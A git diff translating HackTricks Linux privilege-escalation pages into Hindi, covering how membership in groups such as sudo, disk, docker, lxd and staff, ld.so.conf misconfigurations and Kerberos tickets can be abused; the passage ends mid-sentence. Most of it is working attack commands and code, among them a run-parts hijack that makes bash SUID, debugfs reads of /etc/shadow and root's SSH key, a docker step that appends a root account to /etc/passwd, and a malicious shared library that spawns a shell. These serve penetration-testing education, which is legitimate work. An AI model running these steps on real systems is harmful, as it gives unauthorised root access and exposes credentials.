ALL=(ALL:ALL) ALL @@ -15,48 +14,36 @@ # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` +इसका मतलब है कि **कोई भी उपयोगकर्ता जो sudo या admin समूह का सदस्य है, वह sudo के रूप में कुछ भी निष्पादित कर सकता है**। -This means that **any user that belongs to the group sudo or admin can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +यदि ऐसा है, तो **रूट बनने के लिए आप बस निष्पादित कर सकते हैं**: ``` sudo su ``` - ### PE - Method 2 -Find all suid binaries and check if there is the binary **Pkexec**: - +सभी suid बाइनरी खोजें और जांचें कि क्या बाइनरी **Pkexec** है: ```bash find / -perm -4000 2>/dev/null ``` - -If you find that the binary **pkexec is a SUID binary** and you belong to **sudo** or **admin**, you could probably execute binaries as sudo using `pkexec`.\ -This is because typically those are the groups inside the **polkit policy**. This policy basically identifies which groups can use `pkexec`. Check it with: - +यदि आप पाते हैं कि बाइनरी **pkexec एक SUID बाइनरी है** और आप **sudo** या **admin** समूह में हैं, तो आप संभवतः `pkexec` का उपयोग करके बाइनरी को sudo के रूप में निष्पादित कर सकते हैं।\ +यह इसलिए है क्योंकि आमतौर पर ये **polkit नीति** के अंदर समूह होते हैं। यह नीति मूल रूप से पहचानती है कि कौन से समूह `pkexec` का उपयोग कर सकते हैं। इसे जांचें: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` +वहाँ आप पाएंगे कि कौन से समूह **pkexec** निष्पादित करने की अनुमति रखते हैं और **डिफ़ॉल्ट रूप से** कुछ लिनक्स वितरणों में समूह **sudo** और **admin** प्रकट होते हैं। -There you will find which groups are allowed to execute **pkexec** and **by default** in some linux disctros the groups **sudo** and **admin** appear. - -To **become root you can execute**: - +**रूट बनने के लिए आप निष्पादित कर सकते हैं**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` - -If you try to execute **pkexec** and you get this **error**: - +यदि आप **pkexec** निष्पादित करने की कोशिश करते हैं और आपको यह **त्रुटि** मिलती है: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` - -**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**: - +**यह इसलिए नहीं है कि आपके पास अनुमतियाँ नहीं हैं, बल्कि इसलिए है कि आप GUI के बिना जुड़े नहीं हैं**। और इस समस्या का एक समाधान यहाँ है: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)। आपको **2 अलग ssh सत्र** की आवश्यकता है: ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec @@ -67,39 +54,31 @@ pkexec "/bin/bash" #Step 3, execute pkexec pkttyagent --process #Step 2, attach pkttyagent to session1 #Step 4, you will be asked in this session to authenticate to pkexec ``` - ## Wheel Group -**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line: - +**कभी-कभी**, **डिफ़ॉल्ट रूप से** **/etc/sudoers** फ़ाइल के अंदर आप यह पंक्ति पा सकते हैं: ``` %wheel ALL=(ALL:ALL) ALL ``` +इसका मतलब है कि **कोई भी उपयोगकर्ता जो व्हील समूह का सदस्य है, वह कुछ भी sudo के रूप में निष्पादित कर सकता है**। -This means that **any user that belongs to the group wheel can execute anything as sudo**. - -If this is the case, to **become root you can just execute**: - +यदि ऐसा है, तो **रूट बनने के लिए आप बस निष्पादित कर सकते हैं**: ``` sudo su ``` - ## Shadow Group -Users from the **group shadow** can **read** the **/etc/shadow** file: - +**शेडो** समूह के उपयोगकर्ता **/etc/shadow** फ़ाइल को **पढ़** सकते हैं: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` +तो, फ़ाइल को पढ़ें और कुछ **हैश क्रैक** करने की कोशिश करें। -So, read the file and try to **crack some hashes**. +## स्टाफ समूह -## Staff Group - -**staff**: Allows users to add local modifications to the system (`/usr/local`) without needing root privileges (note that executables in `/usr/local/bin` are in the PATH variable of any user, and they may "override" the executables in `/bin` and `/usr/bin` with the same name). Compare with group "adm", which is more related to monitoring/security. [\[source\]](https://wiki.debian.org/SystemGroups) - -In debian distributions, `$PATH` variable show that `/usr/local/` will be run as the highest priority, whether you are a privileged user or not. +**स्टाफ**: उपयोगकर्ताओं को सिस्टम में स्थानीय संशोधन जोड़ने की अनुमति देता है (`/usr/local`) बिना रूट विशेषाधिकार की आवश्यकता के (ध्यान दें कि `/usr/local/bin` में निष्पादन योग्य फ़ाइलें किसी भी उपयोगकर्ता के PATH वेरिएबल में हैं, और वे समान नाम वाली `/bin` और `/usr/bin` में निष्पादन योग्य फ़ाइलों को "ओवरराइड" कर सकती हैं)। "adm" समूह की तुलना करें, जो निगरानी/सुरक्षा से अधिक संबंधित है। [\[source\]](https://wiki.debian.org/SystemGroups) +डेबियन वितरण में, `$PATH` वेरिएबल दिखाता है कि `/usr/local/` उच्चतम प्राथमिकता के रूप में चलाया जाएगा, चाहे आप विशेषाधिकार प्राप्त उपयोगकर्ता हों या नहीं। ```bash $ echo $PATH /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games @@ -107,11 +86,9 @@ $ echo $PATH # echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ``` +यदि हम `/usr/local` में कुछ प्रोग्रामों को हाईजैक कर सकते हैं, तो हम आसानी से रूट प्राप्त कर सकते हैं। -If we can hijack some programs in `/usr/local`, we can easy to get root. - -Hijack `run-parts` program is a way to easy to get root, because most of program will run a `run-parts` like (crontab, when ssh login). - +`run-parts` प्रोग्राम को हाईजैक करना रूट प्राप्त करने का एक आसान तरीका है, क्योंकि अधिकांश प्रोग्राम `run-parts` को चलाएंगे जैसे (क्रॉनटैब, जब SSH लॉगिन होता है)। ```bash $ cat /etc/crontab | grep run-parts 17 * * * * root cd / && run-parts --report /etc/cron.hourly @@ -119,9 +96,7 @@ $ cat /etc/crontab | grep run-parts 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } ``` - -or When a new ssh session login. - +या जब एक नया ssh सत्र लॉगिन होता है। ```bash $ pspy64 2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2] @@ -134,9 +109,7 @@ $ pspy64 2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv] 2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash ``` - -**Exploit** - +**शोषण** ```bash # 0x1 Add a run-parts script in /usr/local/bin/ $ vi /usr/local/bin/run-parts @@ -155,13 +128,11 @@ $ ls -la /bin/bash # 0x5 root it $ /bin/bash -p ``` - ## Disk Group -This privilege is almost **equivalent to root access** as you can access all the data inside of the machine. +यह विशेषाधिकार लगभग **रूट एक्सेस के समान** है क्योंकि आप मशीन के अंदर सभी डेटा तक पहुँच सकते हैं। Files:`/dev/sd[a-z][1-9]` - ```bash df -h #Find where "/" is mounted debugfs /dev/sda1 @@ -170,57 +141,47 @@ debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` - -Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do: - +ध्यान दें कि debugfs का उपयोग करके आप **फाइलें लिख** भी सकते हैं। उदाहरण के लिए, `/tmp/asd1.txt` को `/tmp/asd2.txt` में कॉपी करने के लिए आप कर सकते हैं: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` +हालांकि, यदि आप **रूट द्वारा स्वामित्व वाले फ़ाइलें लिखने** की कोशिश करते हैं (जैसे `/etc/shadow` या `/etc/passwd`), तो आपको "**अनुमति अस्वीकृत**" त्रुटि मिलेगी। -However, if you try to **write files owned by root** (like `/etc/shadow` or `/etc/passwd`) you will have a "**Permission denied**" error. - -## Video Group - -Using the command `w` you can find **who is logged on the system** and it will show an output like the following one: +## वीडियो समूह +कमांड `w` का उपयोग करके आप **जान सकते हैं कि सिस्टम पर कौन लॉग इन है** और यह निम्नलिखित आउटपुट दिखाएगा: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` +**tty1** का मतलब है कि उपयोगकर्ता **yossi शारीरिक रूप से** मशीन पर एक टर्मिनल में लॉग इन है। -The **tty1** means that the user **yossi is logged physically** to a terminal on the machine. - -The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size` - +**video group** को स्क्रीन आउटपुट देखने का अधिकार है। मूल रूप से आप स्क्रीन को देख सकते हैं। ऐसा करने के लिए, आपको **स्क्रीन पर वर्तमान छवि को** कच्चे डेटा में प्राप्त करना होगा और यह जानना होगा कि स्क्रीन किस रिज़ॉल्यूशन का उपयोग कर रही है। स्क्रीन डेटा को `/dev/fb0` में सहेजा जा सकता है और आप इस स्क्रीन का रिज़ॉल्यूशन `/sys/class/graphics/fb0/virtual_size` पर पा सकते हैं। ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` - -To **open** the **raw image** you can use **GIMP**, select the \*\*`screen.raw` \*\* file and select as file type **Raw image data**: +**कच्ची छवि** को **खोलने** के लिए आप **GIMP** का उपयोग कर सकते हैं, **`screen.raw`** फ़ाइल का चयन करें और फ़ाइल प्रकार के रूप में **Raw image data** चुनें: ![](<../../../images/image (463).png>) -Then modify the Width and Height to the ones used on the screen and check different Image Types (and select the one that shows better the screen): +फिर चौड़ाई और ऊँचाई को स्क्रीन पर उपयोग की गई मापों में संशोधित करें और विभिन्न छवि प्रकारों की जांच करें (और उस प्रकार का चयन करें जो स्क्रीन को बेहतर दिखाता है): ![](<../../../images/image (317).png>) -## Root Group +## रूट समूह -It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges... - -**Check which files root members can modify**: +ऐसा लगता है कि डिफ़ॉल्ट रूप से **रूट समूह के सदस्य** कुछ **सेवा** कॉन्फ़िगरेशन फ़ाइलों या कुछ **लाइब्रेरी** फ़ाइलों या **अन्य दिलचस्प चीजों** को **संशोधित** करने तक पहुँच सकते हैं, जिन्हें विशेषाधिकार बढ़ाने के लिए उपयोग किया जा सकता है... +**जांचें कि रूट सदस्य कौन सी फ़ाइलें संशोधित कर सकते हैं**: ```bash find / -group root -perm -g=w 2>/dev/null ``` - ## Docker Group -You can **mount the root filesystem of the host machine to an instance’s volume**, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine. - +आप **होस्ट मशीन के रूट फ़ाइल सिस्टम को एक इंस्टेंस के वॉल्यूम में माउंट कर सकते हैं**, इसलिए जब इंस्टेंस शुरू होता है, तो यह तुरंत उस वॉल्यूम में `chroot` लोड करता है। इससे आपको मशीन पर रूट मिल जाता है। ```bash docker image #Get images from the docker service @@ -232,33 +193,32 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa #Ifyou just want filesystem and network access you can startthe following container: docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` - -Finally, if you don't like any of the suggestions of before, or they aren't working for some reason (docker api firewall?) you could always try to **run a privileged container and escape from it** as explained here: +अंत में, यदि आपको पहले के किसी भी सुझाव पसंद नहीं हैं, या वे किसी कारण से काम नहीं कर रहे हैं (docker api firewall?) तो आप हमेशा **एक विशेषाधिकार प्राप्त कंटेनर चलाने और उससे भागने** की कोशिश कर सकते हैं जैसा कि यहां समझाया गया है: {{#ref}} ../docker-security/ {{#endref}} -If you have write permissions over the docker socket read [**this post about how to escalate privileges abusing the docker socket**](../#writable-docker-socket)**.** +यदि आपके पास docker socket पर लिखने की अनुमति है तो [**इस पोस्ट को पढ़ें कि कैसे docker socket का दुरुपयोग करके विशेषाधिकार बढ़ाएं**](../#writable-docker-socket)**.** {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} {% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %} -## lxc/lxd Group +## lxc/lxd समूह {{#ref}} ./ {{#endref}} -## Adm Group +## Adm समूह -Usually **members** of the group **`adm`** have permissions to **read log** files located inside _/var/log/_.\ -Therefore, if you have compromised a user inside this group you should definitely take a **look to the logs**. +आमतौर पर **`adm`** समूह के **सदस्यों** के पास _/var/log/_ में स्थित **लॉग** फ़ाइलों को **पढ़ने** की अनुमति होती है।\ +इसलिए, यदि आपने इस समूह के अंदर एक उपयोगकर्ता को समझौता किया है, तो आपको निश्चित रूप से **लॉग्स पर नज़र डालनी चाहिए**। -## Auth group +## Auth समूह -Inside OpenBSD the **auth** group usually can write in the folders _**/etc/skey**_ and _**/var/db/yubikey**_ if they are used.\ -These permissions may be abused with the following exploit to **escalate privileges** to root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) +OpenBSD के अंदर **auth** समूह आमतौर पर _**/etc/skey**_ और _**/var/db/yubikey**_ फ़ोल्डरों में लिख सकता है यदि उनका उपयोग किया जाता है।\ +इन अनुमतियों का दुरुपयोग निम्नलिखित एक्सप्लॉइट के साथ **विशेषाधिकार बढ़ाने** के लिए किया जा सकता है: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md index f308931ab..4b943589d 100644 --- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation.md @@ -1,15 +1,14 @@ -# lxd/lxc Group - Privilege escalation +# lxd/lxc समूह - विशेषाधिकार वृद्धि {{#include ../../../banners/hacktricks-training.md}} -If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root +यदि आप _**lxd**_ **या** _**lxc**_ **समूह** के सदस्य हैं, तो आप रूट बन सकते हैं -## Exploiting without internet +## इंटरनेट के बिना शोषण -### Method 1 - -You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(follow the instructions of the github): +### विधि 1 +आप अपने मशीन में इस डिस्ट्रो बिल्डर को स्थापित कर सकते हैं: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(गिटहब के निर्देशों का पालन करें): ```bash sudo su # Install requirements @@ -34,9 +33,7 @@ sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18 ## Using build-lxc sudo $HOME/go/bin/distrobuilder build-lxc alpine.yaml -o image.release=3.18 ``` - -Upload the files **lxd.tar.xz** and **rootfs.squashfs**, add the image to the repo and create a container: - +फाइलें **lxd.tar.xz** और **rootfs.squashfs** अपलोड करें, इमेज को रिपॉजिटरी में जोड़ें और एक कंटेनर बनाएं: ```bash lxc image import lxd.tar.xz rootfs.squashfs --alias alpine @@ -51,23 +48,19 @@ lxc list lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true ``` - > [!CAUTION] -> If you find this error _**Error: No storage pool found. Please create a new storage pool**_\ -> Run **`lxd init`** and **repeat** the previous chunk of commands - -Finally you can execute the container and get root: +> यदि आप इस त्रुटि को पाते हैं _**त्रुटि: कोई स्टोरेज पूल नहीं मिला। कृपया एक नया स्टोरेज पूल बनाएं**_\ +> **`lxd init`** चलाएं और **पिछले आदेशों के समूह को दोहराएं** +अंत में, आप कंटेनर को निष्पादित कर सकते हैं और रूट प्राप्त कर सकते हैं: ```bash lxc start privesc lxc exec privesc /bin/sh [email protected]:~# cd /mnt/root #Here is where the filesystem is mounted ``` - ### Method 2 -Build an Alpine image and start it using the flag `security.privileged=true`, forcing the container to interact as root with the host filesystem. - +एक Alpine इमेज बनाएं और इसे `security.privileged=true` फ्लैग का उपयोग करके शुरू करें, जिससे कंटेनर को होस्ट फाइल सिस्टम के साथ रूट के रूप में इंटरैक्ट करने के लिए मजबूर किया जा सके। ```bash # build a simple alpine image git clone https://github.com/saghul/lxd-alpine-builder @@ -87,5 +80,4 @@ lxc init myimage mycontainer -c security.privileged=true # mount the /root into the image lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md index ab2683a9b..f73ddf4ee 100644 --- a/src/linux-hardening/privilege-escalation/ld.so.conf-example.md +++ b/src/linux-hardening/privilege-escalation/ld.so.conf-example.md @@ -1,83 +1,72 @@ -# ld.so privesc exploit example +# ld.so प्रिवेस्क एक्सप्लॉइट उदाहरण {{#include ../../banners/hacktricks-training.md}} -## Prepare the environment +## वातावरण तैयार करें -In the following section you can find the code of the files we are going to use to prepare the environment +अगले अनुभाग में आप उन फ़ाइलों का कोड पा सकते हैं जिन्हें हम वातावरण तैयार करने के लिए उपयोग करने जा रहे हैं {{#tabs}} {{#tab name="sharedvuln.c"}} - ```c #include #include "libcustom.h" int main(){ - printf("Welcome to my amazing application!\n"); - vuln_func(); - return 0; +printf("Welcome to my amazing application!\n"); +vuln_func(); +return 0; } ``` - {{#endtab}} {{#tab name="libcustom.h"}} - ```c #include void vuln_func(); ``` - {{#endtab}} {{#tab name="libcustom.c"}} - ```c #include void vuln_func() { - puts("Hi"); +puts("Hi"); } ``` - {{#endtab}} {{#endtabs}} -1. **Create** those files in your machine in the same folder -2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c` -3. **Copy** `libcustom.so` to `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privs) -4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom` +1. **अपने मशीन में** उन फ़ाइलों को उसी फ़ोल्डर में **बनाएँ** +2. **लाइब्रेरी को** **संकलित** करें: `gcc -shared -o libcustom.so -fPIC libcustom.c` +3. `libcustom.so` को `/usr/lib` में **कॉपी** करें: `sudo cp libcustom.so /usr/lib` (रूट प्रिविलेज) +4. **कार्यकारी फ़ाइल को** **संकलित** करें: `gcc sharedvuln.c -o sharedvuln -lcustom` -### Check the environment - -Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary. +### वातावरण की जाँच करें +जाँच करें कि _libcustom.so_ _/usr/lib_ से **लोड** हो रहा है और कि आप बाइनरी को **कार्यन्वित** कर सकते हैं। ``` $ ldd sharedvuln - linux-vdso.so.1 => (0x00007ffc9a1f7000) - libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000) - /lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000) +linux-vdso.so.1 => (0x00007ffc9a1f7000) +libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000) +/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000) $ ./sharedvuln Welcome to my amazing application! Hi ``` - ## Exploit -In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_: - +इस परिदृश्य में हम मान लेंगे कि **किसी ने _/etc/ld.so.conf/_ के अंदर एक कमजोर प्रविष्टि बनाई है**: ```bash sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf ``` - -The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\ -**Download and compile** the following code inside that path: - +खतरे में पड़ा फ़ोल्डर _/home/ubuntu/lib_ है (जहाँ हमारे पास लिखने की अनुमति है)।\ +**डाउनलोड और संकलित करें** निम्नलिखित कोड को उस पथ के अंदर: ```c //gcc -shared -o libcustom.so -fPIC libcustom.c @@ -86,27 +75,23 @@ The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\ #include void vuln_func(){ - setuid(0); - setgid(0); - printf("I'm the bad library\n"); - system("/bin/sh",NULL,NULL); +setuid(0); +setgid(0); +printf("I'm the bad library\n"); +system("/bin/sh",NULL,NULL); } ``` +अब जब हमने **गलत कॉन्फ़िगर किए गए** पथ के अंदर **दुष्ट libcustom लाइब्रेरी बनाई है**, हमें **रीबूट** का इंतज़ार करना होगा या रूट उपयोगकर्ता को **`ldconfig`** चलाने के लिए कहना होगा (_यदि आप इस बाइनरी को **sudo** के रूप में चला सकते हैं या इसमें **suid बिट** है, तो आप इसे स्वयं चला सकेंगे_)। -Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** (_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_). - -Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from: - +एक बार जब यह हो जाता है, तो **फिर से जांचें** कि `sharevuln` निष्पादन योग्य `libcustom.so` लाइब्रेरी को कहाँ से लोड कर रहा है: ```c $ldd sharedvuln - linux-vdso.so.1 => (0x00007ffeee766000) - libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000) - /lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000) +linux-vdso.so.1 => (0x00007ffeee766000) +libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000) +/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000) ``` - -As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed: - +जैसा कि आप देख सकते हैं, यह **`/home/ubuntu/lib` से लोड हो रहा है** और यदि कोई उपयोगकर्ता इसे निष्पादित करता है, तो एक शेल निष्पादित होगा: ```c $ ./sharedvuln Welcome to my amazing application! @@ -114,40 +99,35 @@ I'm the bad library $ whoami ubuntu ``` - > [!NOTE] -> Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges. +> ध्यान दें कि इस उदाहरण में हमने विशेषाधिकारों को बढ़ाया नहीं है, लेकिन निष्पादित किए गए आदेशों को संशोधित करके और **रूट या अन्य विशेषाधिकार प्राप्त उपयोगकर्ता के द्वारा कमजोर बाइनरी को निष्पादित करने की प्रतीक्षा करके** हम विशेषाधिकार बढ़ाने में सक्षम होंगे। -### Other misconfigurations - Same vuln +### अन्य गलत कॉन्फ़िगरेशन - समान कमजोरियाँ -In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\ -But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it. +पिछले उदाहरण में हमने एक गलत कॉन्फ़िगरेशन का अनुकरण किया जहाँ एक व्यवस्थापक ने **`/etc/ld.so.conf.d/` के अंदर एक कॉन्फ़िगरेशन फ़ाइल के अंदर एक गैर-विशेषाधिकार प्राप्त फ़ोल्डर सेट किया**।\ +लेकिन अन्य गलत कॉन्फ़िगरेशन भी हैं जो समान कमजोरियों का कारण बन सकते हैं, यदि आपके पास **`/etc/ld.so.conf.d` के अंदर कुछ **कॉन्फ़िग फ़ाइल** में लिखने की अनुमति है, `/etc/ld.so.conf.d` फ़ोल्डर में या `/etc/ld.so.conf` फ़ाइल में, तो आप समान कमजोरियों को कॉन्फ़िगर कर सकते हैं और इसका लाभ उठा सकते हैं। -## Exploit 2 - -**Suppose you have sudo privileges over `ldconfig`**.\ -You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders.\ -So, lets create the files and folders needed to load "/tmp": +## शोषण 2 +**मान लीजिए कि आपके पास `ldconfig` पर sudo विशेषाधिकार हैं**।\ +आप `ldconfig` को **कॉन्फ़ फ़ाइलों को कहाँ से लोड करना है, यह इंगित कर सकते हैं**, इसलिए हम इसका लाभ उठाकर `ldconfig` को मनमाने फ़ोल्डर लोड करने के लिए कह सकते हैं।\ +तो, चलिए "/tmp" को लोड करने के लिए आवश्यक फ़ाइलें और फ़ोल्डर बनाते हैं: ```bash cd /tmp echo "include /tmp/conf/*" > fake.ld.so.conf echo "/tmp" > conf/evil.conf ``` - -Now, as indicated in the **previous exploit**, **create the malicious library inside `/tmp`**.\ -And finally, lets load the path and check where is the binary loading the library from: - +अब, जैसा कि **पिछले एक्सप्लॉइट** में संकेत दिया गया है, **`/tmp` के अंदर दुर्भावनापूर्ण लाइब्रेरी बनाएं**।\ +और अंत में, चलिए पथ लोड करते हैं और जांचते हैं कि बाइनरी लाइब्रेरी को कहाँ से लोड कर रही है: ```bash ldconfig -f fake.ld.so.conf ldd sharedvuln - linux-vdso.so.1 => (0x00007fffa2dde000) - libcustom.so => /tmp/libcustom.so (0x00007fcb07756000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000) - /lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000) +linux-vdso.so.1 => (0x00007fffa2dde000) +libcustom.so => /tmp/libcustom.so (0x00007fcb07756000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000) +/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000) ``` - -**As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.** +**जैसा कि आप देख सकते हैं, `ldconfig` पर sudo विशेषाधिकार होने से आप उसी कमजोरियों का लाभ उठा सकते हैं।** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index 5e355bae5..bc89b11b1 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -2,19 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -{% embed url="https://websec.nl/" %} +एक लिनक्स मशीन भी एक Active Directory वातावरण के अंदर मौजूद हो सकती है। -A linux machine can also be present inside an Active Directory environment. - -A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root** inside the machine. +एक AD में लिनक्स मशीन **फाइलों के अंदर विभिन्न CCACHE टिकटों को स्टोर कर सकती है। ये टिकट किसी अन्य kerberos टिकट की तरह उपयोग और दुरुपयोग किए जा सकते हैं**। इन टिकटों को पढ़ने के लिए आपको टिकट के उपयोगकर्ता मालिक या **root** होना आवश्यक है। ## Enumeration -### AD enumeration from linux +### लिनक्स से AD enumeration -If you have access over an AD in linux (or bash in Windows) you can try [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) to enumerate the AD. +यदि आपके पास लिनक्स (या Windows में bash) पर AD तक पहुंच है, तो आप AD को enumerating करने के लिए [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) का प्रयास कर सकते हैं। -You can also check the following page to learn **other ways to enumerate AD from linux**: +आप लिनक्स से AD को enumerating करने के लिए **अन्य तरीकों** के बारे में जानने के लिए निम्नलिखित पृष्ठ की भी जांच कर सकते हैं: {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -22,28 +20,27 @@ You can also check the following page to learn **other ways to enumerate AD from ### FreeIPA -FreeIPA is an open-source **alternative** to Microsoft Windows **Active Directory**, mainly for **Unix** environments. It combines a complete **LDAP directory** with an MIT **Kerberos** Key Distribution Center for management akin to Active Directory. Utilizing the Dogtag **Certificate System** for CA & RA certificate management, it supports **multi-factor** authentication, including smartcards. SSSD is integrated for Unix authentication processes. Learn more about it in: +FreeIPA एक ओपन-सोर्स **वैकल्पिक** है Microsoft Windows **Active Directory** के लिए, मुख्य रूप से **Unix** वातावरण के लिए। यह Active Directory के समान प्रबंधन के लिए एक पूर्ण **LDAP directory** को MIT **Kerberos** Key Distribution Center के साथ जोड़ता है। CA और RA प्रमाणपत्र प्रबंधन के लिए Dogtag **Certificate System** का उपयोग करते हुए, यह स्मार्टकार्ड सहित **multi-factor** प्रमाणीकरण का समर्थन करता है। Unix प्रमाणीकरण प्रक्रियाओं के लिए SSSD एकीकृत है। इसके बारे में अधिक जानें: {{#ref}} ../freeipa-pentesting.md {{#endref}} -## Playing with tickets +## टिकटों के साथ खेलना ### Pass The Ticket -In this page you are going to find different places were you could **find kerberos tickets inside a linux host**, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack: +इस पृष्ठ पर आप विभिन्न स्थानों को पाएंगे जहाँ आप **एक लिनक्स होस्ट के अंदर kerberos टिकट पा सकते हैं**, अगले पृष्ठ पर आप जान सकते हैं कि इन CCache टिकटों के प्रारूपों को Kirbi (विंडोज़ में 